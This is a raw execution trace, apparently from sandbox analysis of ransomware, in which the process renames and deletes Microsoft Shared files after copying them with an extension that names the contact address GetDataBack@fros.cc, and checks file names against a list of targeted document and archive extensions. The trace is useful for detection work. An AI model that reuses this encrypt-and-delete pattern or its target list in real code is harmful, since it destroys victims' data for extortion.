[0131.538] lstrlenW (lpString="EQNEDT32.HLP") returned 12 [0131.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.538] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=176311) returned 1 [0131.538] CloseHandle (hObject=0x1d4) returned 1 [0131.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0131.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.539] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.539] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.539] GetLastError () returned 0x0 [0131.539] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x2b0b7, lpOverlapped=0x0) returned 1 [0131.543] WriteFile (in: hFile=0x208, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x2b0c0, lpOverlapped=0x0) returned 1 [0131.626] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0131.626] WriteFile (in: hFile=0x208, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xec, lpOverlapped=0x0) returned 1 [0131.626] SetEndOfFile (hFile=0x208) returned 1 [0131.627] CloseHandle (hObject=0x208) returned 1 [0131.627] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.627] SetEndOfFile (hFile=0x1d4) returned 1 [0131.628] CloseHandle (hObject=0x1d4) returned 1 [0131.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.629] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 1 [0131.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0131.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0131.629] lstrlenW (lpString=".doc") returned 4 [0131.629] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0131.629] lstrlenW (lpString=".docx") returned 5 [0131.629] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0131.629] lstrlenW (lpString=".pdf") returned 4 [0131.629] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0131.629] lstrlenW (lpString=".xls") returned 4 [0131.629] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0131.629] lstrlenW (lpString=".xlsx") returned 5 [0131.629] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0131.629] lstrlenW (lpString=".ppt") returned 4 [0131.629] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0131.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0131.629] lstrlenW (lpString=".zip") returned 4 [0131.629] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0131.629] lstrlenW (lpString=".rar") returned 4 [0131.629] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0131.629] lstrlenW (lpString=".bz2") returned 4 [0131.629] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0131.629] lstrlenW (lpString=".7z") returned 3 [0131.629] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0131.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0131.629] lstrlenW (lpString=".dbf") returned 4 [0131.629] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0131.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0131.630] lstrlenW (lpString=".1cd") returned 4 [0131.630] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0131.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0131.630] lstrlenW (lpString=".jpg") returned 4 [0131.630] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0131.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0131.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0131.630] lstrlenW (lpString=".doc") returned 4 [0131.630] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0131.630] lstrlenW (lpString=".docx") returned 5 [0131.630] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0131.630] lstrlenW (lpString=".pdf") returned 4 [0131.630] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0131.630] lstrlenW (lpString=".xls") returned 4 [0131.630] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0131.630] lstrlenW (lpString=".xlsx") returned 5 [0131.630] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0131.630] lstrlenW (lpString=".ppt") returned 4 [0131.630] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0131.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0131.630] lstrlenW (lpString=".zip") returned 4 [0131.630] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0131.630] lstrlenW (lpString=".rar") returned 4 [0131.630] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0131.630] lstrlenW (lpString=".bz2") returned 4 [0131.630] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0131.630] lstrlenW (lpString=".7z") returned 3 [0131.630] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0131.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0131.630] lstrlenW (lpString=".dbf") returned 4 [0131.630] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0131.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0131.630] lstrlenW (lpString=".1cd") returned 4 [0131.630] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0131.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0131.630] lstrlenW (lpString=".jpg") returned 4 [0131.630] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0131.630] lstrcmpiW (lpString1=".TTF", lpString2=".gdb") returned 1 [0131.631] lstrlenW (lpString="MTEXTRA.TTF") returned 11 [0131.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.631] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=7656) returned 1 [0131.631] CloseHandle (hObject=0x1d4) returned 1 [0131.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0131.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.631] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.631] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.632] GetLastError () returned 0x0 [0131.632] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x1de8, lpOverlapped=0x0) returned 1 [0131.633] WriteFile (in: hFile=0x208, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x1df0, lpOverlapped=0x0) returned 1 [0131.634] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0131.634] WriteFile (in: hFile=0x208, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xea, lpOverlapped=0x0) returned 1 [0131.634] SetEndOfFile (hFile=0x208) returned 1 [0131.634] CloseHandle (hObject=0x208) returned 1 [0131.634] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.634] SetEndOfFile (hFile=0x1d4) returned 1 [0131.635] CloseHandle (hObject=0x1d4) returned 1 [0131.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.635] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 1 [0131.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0131.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0131.635] lstrlenW (lpString=".doc") returned 4 [0131.635] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0131.635] lstrlenW (lpString=".docx") returned 5 [0131.636] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0131.636] lstrlenW (lpString=".pdf") returned 4 [0131.636] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0131.636] lstrlenW (lpString=".xls") returned 4 [0131.636] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0131.636] lstrlenW (lpString=".xlsx") returned 5 [0131.636] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0131.636] lstrlenW (lpString=".ppt") returned 4 [0131.636] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0131.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0131.636] lstrlenW (lpString=".zip") returned 4 [0131.636] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0131.636] lstrlenW (lpString=".rar") returned 4 [0131.636] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0131.636] lstrlenW (lpString=".bz2") returned 4 [0131.636] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0131.636] lstrlenW (lpString=".7z") returned 3 [0131.636] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0131.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0131.636] lstrlenW (lpString=".dbf") returned 4 [0131.636] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0131.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0131.636] lstrlenW (lpString=".1cd") returned 4 [0131.636] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0131.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0131.636] lstrlenW (lpString=".jpg") returned 4 [0131.636] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0131.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0131.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0131.636] lstrlenW (lpString=".doc") returned 4 [0131.636] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0131.636] lstrlenW (lpString=".docx") returned 5 [0131.636] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0131.636] lstrlenW (lpString=".pdf") returned 4 [0131.636] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0131.636] lstrlenW (lpString=".xls") returned 4 [0131.636] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0131.636] lstrlenW (lpString=".xlsx") returned 5 [0131.636] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0131.636] lstrlenW (lpString=".ppt") returned 4 [0131.636] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0131.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0131.636] lstrlenW (lpString=".zip") returned 4 [0131.636] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0131.637] lstrlenW (lpString=".rar") returned 4 [0131.637] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0131.637] lstrlenW (lpString=".bz2") returned 4 [0131.637] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0131.637] lstrlenW (lpString=".7z") returned 3 [0131.637] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0131.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0131.637] lstrlenW (lpString=".dbf") returned 4 [0131.637] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0131.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0131.637] lstrlenW (lpString=".1cd") returned 4 [0131.637] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0131.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0131.637] lstrlenW (lpString=".jpg") returned 4 [0131.637] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0131.637] lstrcmpiW (lpString1=".DLL", lpString2=".gdb") returned -1 [0131.637] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0131.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.637] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=31104) returned 1 [0131.637] CloseHandle (hObject=0x1d4) returned 1 [0131.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0131.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0131.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.638] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.638] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0131.638] GetLastError () returned 0x0 [0131.638] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x7980, lpOverlapped=0x0) returned 1 [0131.640] WriteFile (in: hFile=0x208, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x7990, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x7990, lpOverlapped=0x0) returned 1 [0131.641] ReadFile (in: hFile=0x1d4, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0131.642] WriteFile (in: hFile=0x208, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xea, lpOverlapped=0x0) returned 1 [0131.642] SetEndOfFile (hFile=0x208) returned 1 [0131.642] CloseHandle (hObject=0x208) returned 1 [0131.642] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0131.642] SetEndOfFile (hFile=0x1d4) returned 1 [0131.643] CloseHandle (hObject=0x1d4) returned 1 [0131.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0131.643] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 1 [0131.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0131.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0131.643] lstrlenW (lpString=".doc") returned 4 [0131.643] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0131.643] lstrlenW (lpString=".docx") returned 5 [0131.643] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0131.643] lstrlenW (lpString=".pdf") returned 4 [0131.643] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0131.643] lstrlenW (lpString=".xls") returned 4 [0131.643] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0131.643] lstrlenW (lpString=".xlsx") returned 5 [0131.643] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0131.643] lstrlenW (lpString=".ppt") returned 4 [0131.643] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0131.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0131.644] lstrlenW (lpString=".zip") returned 4 [0131.644] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0131.644] lstrlenW (lpString=".rar") returned 4 [0131.644] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0131.644] lstrlenW (lpString=".bz2") returned 4 [0131.644] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0131.644] lstrlenW (lpString=".7z") returned 3 [0131.644] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0131.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0131.644] lstrlenW (lpString=".dbf") returned 4 [0131.644] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0131.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0131.644] lstrlenW (lpString=".1cd") returned 4 [0131.644] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0131.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0131.644] lstrlenW (lpString=".jpg") returned 4 [0131.644] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0131.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0131.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0131.644] lstrlenW (lpString=".doc") returned 4 [0131.644] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0131.644] lstrlenW (lpString=".docx") returned 5 [0131.644] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0131.644] lstrlenW (lpString=".pdf") returned 4 [0131.644] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0131.644] lstrlenW (lpString=".xls") returned 4 [0131.644] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0131.644] lstrlenW (lpString=".xlsx") returned 5 [0131.644] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0131.644] lstrlenW (lpString=".ppt") returned 4 [0131.644] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0131.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0131.644] lstrlenW (lpString=".zip") returned 4 [0131.644] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0131.644] lstrlenW (lpString=".rar") returned 4 [0131.644] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0131.644] lstrlenW (lpString=".bz2") returned 4 [0131.644] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0131.644] lstrlenW (lpString=".7z") returned 3 [0131.644] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0131.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0131.644] lstrlenW (lpString=".dbf") returned 4 [0131.644] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0131.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0131.645] lstrlenW (lpString=".1cd") returned 4 [0131.645] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0131.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0131.645] lstrlenW (lpString=".jpg") returned 4 [0131.645] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0131.645] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0131.645] lstrlenW (lpString="msgfilt.dll") returned 11 [0131.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0131.646] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=38768) returned 1 [0131.646] CloseHandle (hObject=0x1d4) returned 1 [0131.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0131.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 